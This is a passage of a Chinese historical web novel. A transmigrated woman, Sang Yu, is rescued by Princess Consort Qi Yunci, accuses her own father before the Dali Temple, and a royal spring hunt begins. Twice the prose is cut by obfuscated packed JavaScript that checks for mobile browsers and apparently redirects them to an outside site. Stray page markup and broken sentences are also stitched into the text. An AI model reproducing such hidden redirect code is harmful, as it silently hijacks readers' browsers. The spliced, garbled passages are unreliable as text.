戏谑的声音传来“送我,也不看看自己配不配?”忽然祁允辞说话的声音一轻,像是想起什么,好奇的问道“你们家过年节的时候,真不会把你错认成猪,一并杀掉吗?” “你!” 别说赵全,就算是桑榆都看向了马车内,没想到这到现在没见着真容的封建王朝的女子说话这么毒。 “给我抓住她们!”赵全一个野猪打挺,让桑榆这具孱弱的身子差点儿没制住。 这下连阿萤都露出了惊讶,那明显是一个防身的招式。 就在这个空档,阿萤身如飞燕,滑到了众人面前,一脚就完成了桑榆没完成的事,将赵全踹进了一旁的水里,大冬天的,惊起巨大的浪花。 一个接一个,跟下饺子似的,阿萤还示意桑榆跟着一起。 桑榆看着面前明显是少数民族的姑娘,整个人都惊了一下,才有动作。 大梁元和年间,异族的地位这么高吗? 而在此刻,桑榆终于看清了马车内的女子,红色的宝石坠在她微卷的长发上,眉眼深邃,一双上挑的桃花眼,泛着慵懒的上位者气息。 薄唇轻启“更星,扶这位姑娘上马车。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649598|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而一枚暗器,就这样擦过了桑榆的脸侧,割断了她的几根发丝,她下意识回头望去,赵全爬上岸后,刚竖起的准备指着人骂的食指,就被斩断了,滚落在地上,鲜血涌出,赵全甚至惨叫声都没能第一时间发出来。 而端坐在马车内的女子,低眉垂目,无声地邀请着她上马车,对地上打滚哀嚎的男人视若无物。 “敢问姑娘芳名?” 更星上了一壶新茶,马车滚滚向前,祁允辞饶有兴趣的问道。 “桑榆,东隅已逝,桑榆非晚的桑榆。” 祁允辞点头,递上了自己的手帕,抬手,桑榆下意识的后撤。 对于明显的防备,祁允辞并不介意,将手帕放在桌上后,身体后移,很是放松,静谧的马车内,只剩下茶香,令人的心逐渐安静下来。 桑榆缓缓吐出一口气,她重生在大梁——这个华国历史上的王朝,已经三年了。 本来和这具身体的母亲相依为命,等着进京赶考的父亲,没想到,没登来所谓的合家团圆,倒是等来了那禽兽便宜亲爹的追杀,原来是做了陈世美,嫌她们娘俩碍事,而母亲——那个胆小怕事的妇人,第一时间,却是让她快跑。 桑榆低下头,遮住眼中迸发的情绪,反正不想活了,总要让那禽兽也没好下场。 祁允辞并没有打断桑榆的沉思,视线不断在她身上逡巡,瘦弱的,有几分姿色的,狼狈的,并非京城人氏。 “敢问姑娘来自哪里?” “定州。” 桑榆清了清嗓子,回答道。 “江南水乡,好去处。” “小姐呢?不知小姐尊名。” “祁,和镇北侯府同姓,名允辞。” 祁允辞托腮,盯着面前人细微的神态,自然没有错过桑榆那一瞬间放大的瞳孔,甚至是手指都在轻轻发颤。 她说她是谁? 祁允辞? 桑榆脑中几乎闪过了所有曾经看过的文章,学过的知识。 将视线定定落在眼前人身上,明显的,带着宛月族特征的双目与长发,符合着她混血的特征,只是这张动人心魂的脸,与历史书中的长相没有丝毫关系,看着祁允辞发尾的红宝石,只一眼便看出是珍品,桑榆也曾参加拍卖,竞拍的就是宛月血珠,有价无市。 真的是她? 没有人在谈及大梁历史时可以跳过这位郡主。 定乾坤,退外敌,大梁的史书为她单独列传,封侯拜相,真女子也。 祁允辞扬眉,在这长时间的沉默中和更星交换了一个隐晦的视线,随后轻笑一声“桑小姐去哪里?我送你?” “京都。”桑榆勉强收起自己杂乱的情绪,毕竟真没想到会和历史书中的人来一个亲密接触。 “好,阿萤,回东宫。” 桑榆深吸了一口气,缓缓说道“郡主,将我送到城门口就好,谢郡主今日救命之恩,无以为报。” “嘘。”话还没说完,就看见祁允辞的食指抵在了唇畔“桑小姐,谁给你的胆子,在本宫面前,自称我的?” 桑榆抬头,明显的怔愣,根本没料到她会这么问,虽说她重生过来三年,但待在定州下面的小渔村,开一家卖米的铺子维持家用,实在没有讲究这么多尊卑贵贱的时候,可这一刻,她才切实感受到了等级森严的封建社会,也明白刚刚自己犯了多大错,一个农家来自边远地区的女子,怎么可能根据一个名字,猜出贵人的身份? 在祁允辞无悲无喜的目光中,桑榆咬了咬牙,跪在了马车内,一字一顿学着最常见的请安话,说道“民女拜见郡主,郡主万福金安。” 祁允辞抬手,居高临下“桑小姐,说错话,杀错人,可都是要掉脑袋的。” ……………… 护国寺内,一个小和尚盯着常念,又看看外面繁星点点的夜空,好奇的问道“师兄,你在看什么?还有你为什么要卖郡主十金啊,就菩提子。” “天机不可泄露。”常念故作高深的看了一眼小和尚,想起自己师傅临终前说的话,露出一个意味深长的笑意“阿弥陀佛,出家人不打诳语,郡主今日的菩提子,千金难买,十金,都是多年情分。” 13. 大理寺敲登闻鼓,一个案子一连…… “主子怎么昨日回来如此晚,还查起一名不打紧的农家女子身份了?” 华岁将屋外一盆绿菊移到了卧房内的案几上,小心打理着,这几日外面太冷了,倒是好几朵娇贵的,养在暖阁内的花,卷了叶子。 祁允辞的手指落在那把绿倚琴上,轻轻拨出了几个颤音,不成曲调,碎在了屋檐雪落的声音中,悉悉索索。 忽然琴音陡转,渐入佳境,迸发出前所未有的激昂,宛若大军压阵时的前奏,对上了更星推开门时发出的声音,一声从远而近的鼓声,与古琴产生了和鸣,一声,两声…… 阿萤坐在软榻下的矮椅上,都禁不住抬头往外看去。 “主子,咱昨日救的那名女子敲响了登闻鼓,她说她是……” ……………… “民女有冤,求大人伸冤,求天地明鉴!”桑榆站在登闻鼓前,敲响了自元帝登基以来,从未有人敲动的鼓,“民女有冤,民女要状告翰林院修撰桑成,抛妻弃子,买凶杀人,请陛下明鉴,请大人明察!” 桑榆的眼中带着血性,还穿着昨日单薄的衣衫,她的手指上生着冻疮,她的面颊上依旧沾着泥水,素白的厚雪,被扫在大理寺的两侧,移开了庭前的主路,登闻鼓的阵阵响声,惊来了看热闹的百姓,故意从此处走过,瞟上一眼后,又匆匆而过。 嘶哑的嗓音让人心颤,素雪银装,天地间一白衣女子也。 大理寺卿的心脏都和鼓点同频共振了,看向端坐轮椅上,才来点卯的太子爷,恨不得一头撞死在登闻鼓前,本来做这一行就没油水,还得罪人,如今年节才过,就被人敲响了登闻鼓,上达天听,这真是头上的乌纱帽戴久了。 “郑大人还愣着做什么?怎么?还要孤教你审案子吗?” “不敢不敢。” 郑大人擦了一把额头上不存在的汗,直起腰身“来人啊,去把门外的女子请进来,上笞刑,以定,是否确有此事。” “是。” 大梁刑律,百姓告官,越级上报,报官者先受笞刑。 贺遇偏头,听见了凌霄的耳语。略一挑眉,给待在一旁的顾时安使了一个眼色,这倒是让这位靠着长辈余荫入仕的淮南侯嫡子感到了疑惑。 不过是一个胆大包天的民间女子,怎么还得了太子爷的青眼,竟让刑罚放水。 这边祁允辞并没有直接动用自己的势力,反而让岑佑找上了贺遇,摆明了希望保人的态度,毕竟有便宜不占,乌龟王八蛋,自己的亲夫君在大理寺暂时还算得上一言九鼎,这么点儿破事儿要是解决不了,那就算是占着茅坑了。 ………… 桑榆忍着疼,浑身都在发抖,冰冷的汗水落在地上,手指抠住了长凳,关节泛白,看着站在一旁,身居高位,面容平静的官老爷们,咬住了唇齿,汗水落进眼中,又被眨落。 一、二、三……总共二十杖,快结束了,总比被埋在雪里窒息强。 桑榆咳出了血,跌在了地上,气若游丝。 “堂下何人?可还要告?” 大理寺卿高坐明堂,于堂上垂问。 “告。”桑榆将自己撑了起来,缓了一口气,才接着说道“民女定州谷阳县人,姓桑名榆,要状告家父桑成抛夫弃子,买凶杀人难堪天家重任,望大人为民女伸冤,民女的母亲做了他刀下亡魂,如今尸骨未寒,他却早已要迎娶她人为妻,此等禽兽,怎堪为父?” 那一刻偌大的堂前陷入死寂,连隐于门后的贺遇都抬起了眼,看向那名狼狈女子。 “放肆!子告父,视为不孝,你可知你已犯了忤逆重罪,我大梁以孝治天下,怎么就出了你这不忠不义,不亲不孝之徒?来人。” “大人,民女自知已范重罪,从未想过苟且偷生,只求还家母清白,民女与母亲相依为命,无母无以立命,如今却因桑成的一己之私,而不能够明目,民女不甘心啊!” 桑榆的额头重重磕在了地上,一瞬间,便已头破血流。 从前世到今生,她没有感受过的父母之爱子,全在这个弱小的女人身上体会到了,她大字不识一个,却并不介意她读书,封建王朝,女子本就难上加难,她桑榆想要营生,想要开店,是母亲将她护在身后,不让那群男人欺辱她,她不该这样不明不白的死。 反正是上天白送的命,那就还给她吧。 “你!”郑大人叹了一口气,没想到面前的女子竟如此刚烈“桑榆,古有言‘父为子隐,子不言父过。’到底是谁给你的胆子?” “清心为治本,直道是谋生。①”凌霄推着贺遇,受了所有人的礼,落座于一旁“郑大人,为官者为民,为民谋利以求天下安定,而今为夫不正,杀人取命,为父不仁,生而不养,汲汲营营以求平步青云,若此事为真,此等人,难道不值得大人升堂探查真相吗?难道要留此等不堪为人的官员在任上为祸百姓吗?若真如此,你这个大理寺卿又是何等居心?” 贺遇的声音很平静,并没有如疾风骤雨般怒斥,但已让所有人不敢抬头,他并没有穿太子锦服,紫色的窄袖蟒袍上,绣着金线祥云,腰间系着的是朱红白玉腰带,通身的贵气与威压。 桑榆喘了口气,慢慢抬头,向贺遇的方向望去,从轮椅到病怏怏的脸侧,又迅速低下头,视线落在了腰间的玉佩上,他是…… “太子殿下,臣自是不敢不为百姓伸冤,只是从未有过子告父的先例啊?” “那此例便为先例,传孤旨意升堂。” “是。” 桑榆在一瞬间甚至没想起谢恩,而是表情茫然,他是梁元帝的太子?他是贺遇?是倾宁郡主的丈夫?他是…… 这一刻桑榆的内心甚至有一点儿暗恨,早知会穿越到此处,早知不是碰见倾宁郡主,就是撞见当朝太子,她就不学什么经济学了,跟那个私生子弟弟抢什么公司啊,应该直接学历史和汉语言啊,直接跟着抢皇位。 不过恐怕也只能想想了,子告父,应该是要死在这里了。 她对着贺遇重重一磕“民女谢过太子殿下。” 而就在郑大人准备差人,冒着被李太尉的夫人记恨的风险去找桑成的节骨眼,竟又有一人,说要状告有人在京城杀人。 “你又有何冤屈?”郑大人深吸一口气,问道“本官已在受理要案,其他事宜,明日再说,来人,去请桑大人。” “大人。”话还没说完,就被跪在堂下,哭的一把鼻涕一把泪的赵全给打断了“请大人为草民做主啊!” 而架着他的仆役们直接跪在地上开口道“大人,我等是李太尉家大小姐的仆役,特地带着证人为我家姑爷鸣冤。此女早已嫁作京城一百里外赵员外家的独子做妾,怎么可能会是我家姑爷的孩子,并且此人阴险狡诈,赵少爷好吃好喝的伺候着,她却割了少爷的手指,跑掉了。” 赵全举着自己被包成粽子的手指,颤抖着,任由那仆役撕开包扎的布条,露出血肉模糊的手指,连根斩断。 “太子殿下,大人。”大理寺的人亲自检查后回禀道“此处确实为利器所伤,并且是近日新伤。” “桑榆,你可有话要说。”郑大人黑下了脸,厉声问道。 “民女并非他的妾,民女是良家女,与母亲在逃命的过程中,被人打晕了,直接被拖走,醒来后便已经在定州的青楼,被人肆意拍卖观赏,并且民女四周的女子也是良家子啊,她们没有卖身契!” “你说谎!”赵全大喊一声“本来就是我花银两把你买回来的,你就是我的妾!” “那你可有我的卖身契!” “放肆!”郑大人拍响了惊堂木,皱起的面容又多加了几道皱纹,他在此刻也没想到,一场伦理大戏,竟然衍 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贺遇此刻的表情已经彻底的难看到了极点,以郑大人为首,大理寺内众人纷纷跪在地上,高呼太子息怒,李太尉家的仆役更是不敢相信会牵扯到太子妃。 “这,这怎么可能呢?” 没有人再管倒在地上,被吓得两股战战的赵全。 贺遇开口“桑榆,昨日可是太子妃出面?” “回太子殿下,民女并不知晓太子妃的身份,但昨日赵全威胁迫害民女之时,确有一名女子出手相助。” “她说,她姓祁,和镇北侯府同姓。” 话音落下,寂寥无声。 最后还是贺遇打破了沉寂“去东宫,问太子妃可愿亲自来一趟大理寺。” 祁允辞的马车停在了大理寺的门口,早已有人为她搬来脚蹬,而有人却比她到的更早,比如此刻跪在地上的翰林院修撰桑成。 “臣等见过太子妃娘娘,娘娘万福。” 凌霄在此刻很有眼睛方,搬了一把太师椅放在了贺遇的身旁。 “朝瑶可用午膳了。” “嗯,殿下忙碌,朝瑶又给殿下添麻烦了。”两人旁若无人的聊了几句家常,像是此时才看见跪在地下的人一般,祁允辞这才说道“郑大人起来吧,不知有何事,要与本宫对簿公堂?” “不敢,太子妃娘娘言重了,只是一些小事。” 祁允辞的视线最终移到了桑榆的身上,一坐一跪,阶级立显。 “咳,娘娘,赵全口述,您曾砍断他的手指。” “是。”祁允辞把玩着自己的令牌,没有一丝犹豫便承认下来“大梁律法,强抢民女处绞刑,本宫不过要他一根手指,郑大人是觉得本宫的刑罚太轻,特来请本宫观刑的吗?” “这……”郑大人一时沉默,而桑成却接上了话“殿下,娘娘,此女本就是赵全的妾。” “妾?赵全说他是从定州将人买回来的。”祁允辞拿过大理寺记录的呈堂供词,开口问道“据本宫所知,买卖人口,需要官府备案,卖身契与牙婆作保,而桑榆更是良民而非贱籍,既然如此,那就去把桑榆的卖身契替本宫取来,本宫倒是要看看,是谁将这女子发卖的。” 贺遇在一旁,看着一直嘴角带笑的太子妃,也无端勾起了唇角,眼波微转,扫过桑成,不知想到了什么,将手臂顺势搭在了太师椅的椅背上,就好像将祁允辞圈禁在怀中一般,“去查,要是没有卖身契,就查此女子在何处过了哪一路官员的眼,从良籍成贱籍的,再来,她的父亲到底是何人,总查的清楚吧。” “是。” 祁允辞默许了此刻贺遇的做法,就好像他们此刻都是一致对外,没有半分私心一般。 14. 桑榆状告定州官,收押几方要其命^…… 大理寺内,祁允辞同贺遇两人怡然自得,却已经给跪在堂下的人极大的心理压力。 除却桑榆,她倒是放下了一半的心,就是不知道这个案子牵动了夺嫡中的哪一步,让太子爷和太子妃两人共同出面,她暗恨了一把自己前世,家族联姻最后双双出轨的亲爹亲妈还有私生子的弟弟,毕竟要不是为了争家产,她应该学的是历史,研究的也应该是的大梁这一时期的风华,总好过如今两眼一抹黑。 “取来了?” 祁允辞懒洋洋的倚靠在椅子上,拿过那份卖身契,白纸黑字,桑榆的姓名就在上面,官府文书更是一样不落,卖身葬母的缘由上甚至还有桑榆的手印。 “娘娘,请娘娘做主,草民未说半句假话啊,若是草民所言有不实之处,愿遭五雷轰顶之灾。”此时的郑全难得聪明一回,想起自己对这个小妾的买卖在理论上不存在任何问题的。 祁允辞的手指拂过文书,偏头越过贺遇,对着郑大人开口道“大人,本宫对大理寺的要案审理并不擅长,还是请大人来看看吧。” 祁允辞示意,交上了文书,只是和贺遇有了短暂的眼神碰撞,轻飘飘的,随后又默契移开。 “郑大人。”贺遇开口道“元和五年大理寺的第一个案子便落在了你的手里,还涉及到孤的妻子,你可定要好好判,徇私枉法者,罪不可饶;杀人取命者,以命偿之。” “是。” 郑大人敲响了惊堂木“本官且问你,桑榆,你可会写字。” “回大人的话,民女会,民女的父亲如今官居要职,更是三年前的进士及第,如何不会,正是因为他们将民女迷晕了,这才导致民女是盖的手印而非签字据。” “可官府明文规定,奴隶买卖,签字画押即可。”桑成骤然开口“你如此说话,谁知道又有几分真假。” 郑大人直接打断道“桑大人,这里是大理寺,本官在审案,可有你插嘴的分儿?” 祁允辞扯了扯贺遇腰间的玉佩,附耳问道“这位桑大人是不是脑子不太好,他不会真以为查不出他是不是谁的爹吧?” 贺遇反手握住了祁允辞的手,冰凉的指尖划过指腹,更凑近了两分,温热的气息在祁允辞的耳边浮动“说不定他觉得李太尉一定会保下他。” 桑榆回答完郑大人的问话后,挺直的背脊略有弯曲,受刑过后的冷汗再次冒了出来,她小声的呼吸着,就撞进了看好戏的那一对夫妻眼里,祁允辞甚至还冲她勾起了一抹笑意,漂亮的眼中带着上位者的怜悯和玩世不恭的戏谑,那种眼神她上辈子太熟悉了,不知人间疾苦的幸运儿。 “桑成,不要顾左右而言他,本官再问你最后一遍,她是不是你的女儿,你可有在定州娶妻生子。” “有。” 桑成最终还是泄了气,承认了此事,毕竟不论再怎么负隅顽抗,被查出来也是时间早晚的问题“但大人,下官虽嫌恶钱氏粗鄙不堪,却并没有违反律法,下官早已写了休书一封,更没有买凶杀人,追杀糟糠之妻,这纯属诬告,若做此事,下官还怎堪为人,二来下官的女儿被教的如此顽劣不堪,甚至敲登闻鼓诬陷自己的亲生父亲,这是何等不孝,还请大人明察,还下官清白。” “现在承认是自己女儿了?早干什么去了。”祁允辞开口,放松的倚靠在贺遇臂弯搭上的椅背上,只是瞥了一眼,桑成便已经自觉跪下“娘娘,这让下官如何认,状告生父,前所未闻,甚至对于钱氏的死都不愿意加以求证,就空口白话污蔑,这样的女儿,下官实在是……” 话还没说完,就被祁允辞冷笑一声打断了“那桑大人冷眼旁观女儿受辱,沦为奴仆贱妾的时候都不知道有所回护,也确实难堪重任,禽兽不如。” 祁允辞起身,不再搭理他们,反而走到了桑榆的面前,钳住了她的下颌,华丽的裙摆落在了地上,贺遇抬手,便有华岁上前替她整理。 “说说吧,有什么证据,要是有,郑大人必为你做主,对吧?” “是,是,那是自然。”郑大人根本没想到此时的太子爷根本不愿开口,反而是紧着太子妃主导案件,这也是前所未闻的一桩奇事。 “回娘娘的话,民女并无证据。”桑榆再拜稽首“民女只是在晕倒前听见杀人者说我与母亲挡住了他们主子的飞黄腾达,再娶新妇的路,至于桑大人口中的休书,民女也确实见到了。” 桑榆骤然望向桑成,跪在地上却挺起腰杆,直直指向他,怒吼道“那封休书,混着我母亲的血,一并落在了乱葬岗!” 赤红的双眼,沙哑的声音,宛若是搁浅的游鱼最后奋力的一扑。 “诸位大人,万望诸位大人明鉴,下官并未做此事啊。” 郑大人在此刻问道“桑榆,本官做事讲求证据,而非情理,既然你没有任何呈堂证供,让本官如何帮你?只得将你收押,容后再审,派人前往定州寻求证据。” 祁允辞松开了手,微微抿了一下唇,刚准备开口,就被桑榆打断了“大人,您是好官,所以民女想要状告另一件事,而此事,民女有证据。” “什么事?” “民女要状告,定州城内官商勾结,拐卖良家妇女,逼良为娼,官官相护!” 此话一出,连贺遇都变了脸色,虽然是转瞬即逝“大胆桑榆,你可知,你在说什么?” “回太子殿下的话,民女知道,这是定州青楼内一部分良家子的籍贯与姓名,诸位大人一查便知。” 贺遇抬手,那份用鲜血写就的绢帛,便到了他的手里,每一个人的身份都很详尽,甚至不是出于一人之手。 在此刻,祁允辞才明白,桑榆真正想告的是这件事,而非母亲之死。 “大胆!”郑大人骤然拍响惊堂木“公堂之上岂容你等胡闹,来人,给本官把这些信口雌黄的人拿下。”他转过身,对着贺遇拜道“太子殿下,这小女子分明就是将大理寺当作可以玩闹之所,请殿下放心,下官必定将此事审结。” 顾时安拿着茶杯的手顿了顿,他知道这件事若是真的,恐怕就要上达天听了,已经不是几句话能够说清楚的,几方势力鱼龙混杂,这女子的性命怕是难以保下了。 “大人,李小姐来了。” 祁允辞抬眼,坐回了贺遇的身侧“一出好戏啊,比戏班子唱的好看。” “你要是想看,孤就命人去给你写话本。”贺遇懒洋洋的,似乎对此事的博弈并不上心,就像是所有的事情还抵不过自己太子妃的展颜一笑。 “臣女见过诸位大人与太子殿下,太子妃。”李妍行礼道,随后反手就给了桑成一巴掌“是臣女识人不清,臣女于三年前对其一见钟情,从未想过他竟已有妻儿,但臣女寡居多年,却早已对其倾心,是臣女对不住桑家娘子。” 李妍握住了桑榆的手“桑小姐,你要是不嫌弃,哪怕是桑成这畜生与我成亲后,你依旧是他的大女儿,绝不会少你一分一毫,李家就是你的外祖家,你觉得如何。” 祁允辞叫华岁给她上了杯茶,饶有兴趣的观赏着这出认亲大戏。 桑榆挣开了李妍“夫人,民女对成为谁家的小姐并不感兴趣,请郑大人做主,民女愿与桑大人一刀两断,绝不影响他的前程。” 郑大人叹了口气“此事容后再议。” “还容后什么?”祁允辞放下茶杯“本宫替你做主,五天后,上重刑,子告父者,该杀,但另有隐情,贬为庶人,永世不可再获良籍。” “这,太子殿下?”郑大人不敢应答,只好望向贺遇。 “可,就这样办吧,孤乏了,此案明日孤会呈给父皇,收监吧。”凌霄推着轮椅,领着祁允辞越过众人,在一声声恭送中,回了东宫。 ………… “殿下认为此事几分真,几分假?” 祁允辞和贺遇坐在了同一张桌子上用起了晚膳,娇娇待在一旁,那小老虎的乳牙还没有长齐,对着贺遇还挺亲近,叼着青色的长衫,摇来摇去,最后被贺遇一抄手,抱在了腿上。 “那朝瑶想要几分真呢?” “这事儿啊,臣妾哪里做得了主啊。” “孤也一样,要看”贺遇停顿后,轻笑一声,忽然凑近了些,亲自替祁允辞夹了一块冬日才钓起来的鱼“当然,若是太子妃想,孤不介意把假的变成真的,真的变成假的。” “殿下,臣妾只想要真相。” ………… 第二日一早,贺遇便去上了早朝,直到午后都未回来,而朝堂上,李太尉为女儿老泪纵横的消息自然也传到了祁允辞的耳朵里,与消息一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756427|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并送来的,还有几位皇子妃赏香品茗的请帖。 “不必多礼。”祁允辞抬手,越过几位皇子妃,直直落座于上首,接过清茶,唇角带笑,准备看看她们到底想干些什么。 “多谢皇嫂赏脸。”五皇子妃笑着以清茶代酒,敬了祁允辞“太子皇兄对皇嫂真是上心,一点儿委屈都不愿意让您受,昨日花了一整天的时间,陪着您断案,真是恩爱非常。” 祁允辞摆了摆手“有人出言不逊,落了殿下的面子罢了,三皇子妃才是好福气,小皇孙又深得父皇喜爱。” “皇嫂谬赞了。” “哎,咱们好歹同诸位皇子举案齐眉,只是苦了我那姐姐啊。” 五皇子掩面,状似伤心。 在这儿等着呢,祁允辞撇了撇嘴,她这段时间都快被憋坏了,所有人都是话里有话,从贺遇到这几位皇子妃,没一个真心的,还不如上战场。 “弟妹莫要担心,能在成婚前认清负心汉,总好过婚后孤苦,行了,各位的香料上好,应该来自于柔然,被称为天禧,前调能感受到黄沙弥漫的厚重,尾声却又宛若青草扑面而来,时隐时现,不过不适合给刚满月没多久的婴儿闻到,对身体不好,太子殿下马上就要回宫了,就不陪诸位了。” 祁允辞直接起身,走前将视线落在了那位穿着朴素的大皇子妃的身上,随后便不再停留。 “主子,回东宫吗?” “去诏狱。” 祁允辞被人领着到了桑榆的门前。 她整个人蜷缩着,盘中的食物和水更是一口没动,身上还有伤,正浑身发冷,用茅草盖住了自己。 祁允辞的到来和狱卒的谄媚,惊醒了已经半昏迷的桑榆,岁寒不用祁允辞吩咐,便已经开始替她看伤,祁允辞亲手解下了自己的披风,盖在了桑榆的身上。 “值得吗?” “受人之托,忠人之事。” “好胆识。”祁允辞坐在太师椅上,月白色衣裙落在被狱卒用衣物铺好的地上,甚至连裙角都没有任何脏污,与桑榆有了明显的对比。 阿萤不知道从哪里逮住了一只老鼠,正好落在了桑榆的身侧。 她急急往后退,撞上了岁寒,又扯动了伤口,疼的小声抽泣,岁寒警告的看了阿萤一眼,然后轻轻拍着桑榆的背。 “怎么,定州海边以捕鱼为生,没见过老鼠吗?” “见过,只是厌恶。”桑榆看着那只肥硕的大老鼠,不知道想起了什么,直犯恶心,想起了她家的地下室。 “行了。”祁允辞直接上手,抓住了那老鼠的尾巴,用脚踩住了它的头“在我嫁进东宫之前,也就是三个月前,漠北天寒地冻,我带着一队人,潜伏在沟里,那里混着马粪,前方十里是敌方的粮草,而老鼠更是成群的从你身上爬过去。” 桑榆直接干呕了出来“殿下到底想说什么?” “要想做成一件事,仅凭着孤勇是不够的,还需要脑子,你很有脑子,所以我不介意帮你一把,别让我失望了,好好活着。” 一瓶药扔在了桑榆的身上,她看着祁允辞拨了一点儿吃食到地上,然后喂给了那只老鼠,看着它活蹦乱跳。 “最后呢?”桑榆忽然问道。 “最后?我带着人一把火烧了粮草,打了胜仗,只是回家后几乎每天都在泡澡,搜刮了柔然大量的香料,全用在自己身上,最主要的是对于老鼠这种生物,实在是怕不起来了。” 祁允辞接过阿萤递过来的手帕,还是很嫌弃自己碰过老鼠的手指,不知想起了什么,顺手还扔给了桑榆一只香囊“送你了,驱蚊用的。” 桑榆紧紧盯着祁允辞离开的背影,最后将视线移到了那只活蹦乱跳的老鼠身上,抢在它之前,拿过了餐食,狼吞虎咽起来。 她知道有人想要她的命,也知道在达到目的之前,她不能死,还有一群姑娘们等着她去救。 上位者的怜悯也好,想要从她身上得到什么也罢,都无所谓了,活着才能给她们带去希望。 ………… “行了。”元帝打断了贺遇的话“这件事情,朕会派人去定州一探究竟,马上就是春狩了,你和老三,老五三个人负责,绝不许出岔子,也好去去晦气。” “是,儿臣遵旨。” 15. 旌旗猎猎狩猎始,郡主一箭惊众人^…… 这些时日,祁允辞和贺遇都各忙各的,连三月三的踏春都没有一同出游,定州那边的消息还没有传回来,一切都是假想般的安稳,贺遇没有再去大理寺,更多的时间反而耗在了礼部,核定着陛下与诸位官员的第二场春狩仪式。 祁允辞则在三月三那日,换了男装,上了一次赌坊的最高层,一脚踏在栏杆上,斜倚着身子,手里握着一柄折扇,乌黑的长发飘散着,风流倜傥。 从这里眺望镇北侯府,手中有暗桩送来的信件,包括祁枭写下的:万事安好,问朝瑶笑颜可常在的家书。 那上面画了一枝含苞欲放的桃花,“朝瑶,关外天寒,桃花晚开,不知镇北侯府的可开了?” 祁允辞今日分外开心,连酒都喝得有些上脸了,红扑扑的面颊上有些迷离,回到东宫都没有落下笑容,那从宛月送来的肉干,被怀安殿里的众人一并分了。 贺遇今日更是难得早归,赶上了夕阳斜照,斜斜洒在东宫的金顶上,晕染出一幅泼墨般的画卷。 凌霄推着贺遇,越过已经开谢的梅园,踏进了早春的花海,星罗棋布般交错的小溪曲折回旋,有七彩的锦鲤四散游着。 一阵水花掀起,惊散了鱼群,红装银枪,两道身影飞身而起,祁允辞的枪撞上了阿萤的弯刀,迸发出电光火石的影子,几次擦过长发,分开又近身,跳跃之间踏过水面,凌波微步也不过如此。 “凌霄,比你如何?” 贺遇竟一时之间难以将视线从祁允辞的身上撕开,晃了一瞬的心神,开口问道。 “分毫不差。”凌霄说完犹豫了一瞬,看着太子妃的回身格挡,干净利落,而她的侍女手起刀落,干脆果决,不得不又补上了一句“犹胜一筹。” 贺遇轻笑出声“当年的祁大将军,真是倾尽心力培养着这一双儿女啊,连给身边留下的人都是个顶个的忠心。” 贺遇也不管凌霄是否还搭话,自己推着轮椅又往前一步,可就在这一瞬之间,那柄银枪就脱手而出,落在了轮子的一侧,卡住了贺遇前进的道路。 祁允辞几息之间,便落在了贺遇的身旁“殿下小心,别又掉进水里了。” 那长枪在地上划过一道分界线,祁允辞的身上还带着明显的酒气,整个人都是鲜活的。 “多谢太子妃关心。”贺遇含着笑意,那双桃花眼泛着深情不悔,像是要把那夕阳和祁允辞一并拢进眼里。 祁允辞皱了皱鼻子,拿回枪,抛给了阿萤。 “今日殿下怎么回来这么早?” “朝瑶今日心情不错?” 两人同时开口,还是贺遇最先回答道“已经敲定春狩时间,章程都已经拟定完毕,没什么事儿,就从礼部回来了。” “臣妾今日收到了兄长的信件,心情不错。”祁允辞也不介意告诉贺遇,率先转身,走在了前方。 “那朝瑶可愿赏脸,同孤一同共进晚膳。” “行。” “这个不错。”祁允辞尝了一口桃花酥,难得有了几分夸赞“东宫里的厨子做的?” “不是,今日回来路过飘香阁,许多人在外面,等着买酥饼,便也带了些回来,你若是喜欢,孤命人将那厨子一并买回来便是。” “不必了。” “那孤备一些,去春狩的时候路上吃。” ……………… 钦天监监正测算了一个佳期,风和日丽,春光日暖,祁允辞和贺遇坐在马车中,外面是马踏春草的响声,阿萤骑在枣色的棕马上,身后跟着的是首乌,他们的马车陛下与皇后的后面,除却大皇子外,其他的几位则是打马而走,独留皇子妃于马车内,再往后则是诸位官员的马车,最为疼爱的孩子与朝廷命妇们也都跟着,希望能在天家面前得到青睐。 “朝瑶不必在车内陪孤,若想出去骑马,也未尝不可。” “罢了殿下,臣妾还不想如此打眼。” 祁允辞拒绝了贺遇的提议,安分的坐在马车内,一直等到了猎场,北大营在外面拉起了一道警戒线,禁军、羽林卫拿着旗帜入场,飞扬起的尘埃,高头大马上挺拔的身姿,引起了不少第一次来到猎场的小姐少爷们的惊艳。 烈烈旗帜飘扬,天空雄鹰盘旋。 祁允辞的手指摸上了首乌的鬃毛,安抚着焦躁的它,此时的祁允辞紧紧盯着,只感觉到了热血难凉,自己和首乌一样,对此刻的狩猎充满了难耐的激动,哪怕抵不过漠北跑马又如何,京畿王城内,此刻的一点儿肆意,都是需要漫长的等待。 陛下在群臣面前激昂的演讲,从国泰民安到神明保佑万事顺遂,她是一句都没听进去,只是跟着贺遇做着下意识的行礼。 “好了,诸位爱卿,今日是你们的主场,君臣同乐,谁若能拔得头筹,朕便亲自赏他这柄弓箭。” 祁允辞回过神,盯着那把被狼皮缠绕的弓箭“是把好弓。” “想要?” 祁允辞低头,看见贺遇不知何时,将视线一直落在了她的身上。 “那是自然。” 而前侧,陛下则亲自挽弓“好,就由朕来开这第一箭。” 陛下穿着玄色劲装,箭羽离弦而出,正中那只梅花鹿。 在群臣的高呼与夸赞中,赢得了今日的第一只猎物。 